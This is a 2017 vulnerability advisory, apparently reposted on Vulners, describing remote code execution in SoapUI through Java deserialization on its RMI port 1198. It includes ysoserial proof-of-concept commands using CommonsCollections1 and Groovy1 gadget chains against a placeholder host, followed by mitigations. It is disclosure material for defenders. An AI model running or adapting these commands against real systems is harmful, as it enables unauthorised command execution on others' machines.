`Title: SmartBear SoapUI - Remote Code Execution via Deserialization
Author: Jakub Palaczynski
Date: 12. July 2017
Exploit tested on:
==================
SoapUI 5.3.0
Also works on older versions.
Vulnerability:
**************
Remote Code Execution via Deserialization:
=================================
SoapUI by default listens on all interfaces on TCP port 1198 where you
can find SoapUI Integration (RMI) instance. SoapUI uses vulnerable
Java libraries (commons-collections-3.2.1.jar and
groovy-all-2.1.7.jar) which can be used to remotly execute commands
with permissions of user that started SoapUI.
Entry point:
Java RMI Registry on TCP port 1198
Vulnerable libraries used - commons-collections-3.2.1.jar and
groovy-all-2.1.7.jar
Proof of Concept:
Sample PoC using Commons Collections vulnerable library:
java -cp ysoserial-0.0.5-SNAPSHOT.jar
ysoserial.exploit.RMIRegistryExploit SOAPUI_IP 1198
CommonsCollections1 'ping OUR_IP'
Sample PoC using Groovy vulnerable library:
java -cp ysoserial-0.0.5-SNAPSHOT.jar
ysoserial.exploit.RMIRegistryExploit SOAPUI_IP 1198 Groovy1 'ping
OUR_IP'
Mitigations:
- bind SoapUI Integration instance to localhost if possible
- update all Java libraries that are known to be vulnerable:
commons-collections-3.2.1.jar
groovy-all-2.1.7.jar
Contact:
========
Jakub[dot]Palaczynski[at]gmail[dot]com
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation